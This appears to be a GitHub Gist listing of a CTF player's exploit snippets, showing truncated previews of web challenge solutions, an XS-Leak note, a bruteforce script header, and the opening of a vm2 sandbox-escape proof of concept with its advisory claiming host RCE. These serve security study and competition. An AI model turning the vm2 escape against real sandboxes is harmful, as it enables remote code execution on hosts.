arkark

intigriti / Challenge 0823 by huli

• Challenge URL: https://challenge-0823.intigriti.io/
• Author writeup: https://blog.huli.tw/2023/08/29/en/intigriti-0823-author-writeup/

My solution

$ python exploit.py

arkark

corCTF 2023 - web/leakynote

• 3 solves / 458 points
• Authors: Strellic, larry
• CTFtime: https://ctftime.org/event/1928/

Solution

CSP

arkark

Google CTF 2023 - web/Biohazard

• 14 solves / 333 pts
• CTFtime: https://ctftime.org/event/1929
• Official repository: https://github.com/google/google-ctf/tree/master/2023/web-biohazard ¹

Summary writeup

Footnotes

1. I predict that this URL will be broken because the directory structure will change when the final round source code is released, as in previous years 😅 ↩

arkark

/*

SEETF 2023 - Web/Mandatory Notes Challenge - 4 solves / 496 points

* ctftime: https://ctftime.org/event/1828

Solution: XS-Leak with URL length limits in Google Chrome. I used a very long authority part to make the oracle.

*/

arkark

const { VM } = require("vm2");
const vm = new VM();

const code = `
  let proxiedInspect;

  const source = new Proxy(() => {}, {
    get: function (target, prop, receiver) {
      if (prop === Symbol.for("nodejs.util.inspect.custom")) {
        // https://github.com/nodejs/node/blob/v20.1.0/lib/internal/util/inspect.js#L805-L811

arkark

Sandbox Escape in [email protected]

A sandbox escape vulnerability exists in vm2 for versions up to 3.9.17. It abuses an unexpected creation of a host object based on the specification of Proxy, and allows RCE via Function in the host context.

Impact

A threat actor can bypass the sandbox protections to gain remote code execution rights on the host running the sandbox.

PoC

arkark

# ångstromCTF 2023 - web/filestore
# Solution: just bruteforce for uniqid()

import httpx
import subprocess
from concurrent.futures import ThreadPoolExecutor

# BASE_URL = "http://localhost:3000"
BASE_URL = "https://filestore.web.actf.co"

arkark

/*

hxp CTF 2022 - rev/required

* https://ctftime.org/event/1845

My solution with JavaScript's Proxy:

1. Save this file as `hook.js`
2. Change the first line of `required.js` to:

arkark

RN = input()
rs = input()[:20]
LWM = input()
H, W, M = list(map(int, LWM.split(" ")))
obs = ""
for i in range(M):
    obs += input() + "_"
obs = obs[:20]

arkark

# CakeCTF 2022 ( https://ctftime.org/event/1683 )
# web / Panda Memo

set BASE_URL "http://localhost:3000"
set BASIC_USER guest
set BASIC_PASS guest
# set BASE_URL "http://web2.2022.cakectf.com:40767"
# set BASIC_USER guest
# set BASIC_PASS L4VBqmWQZP6S2P8.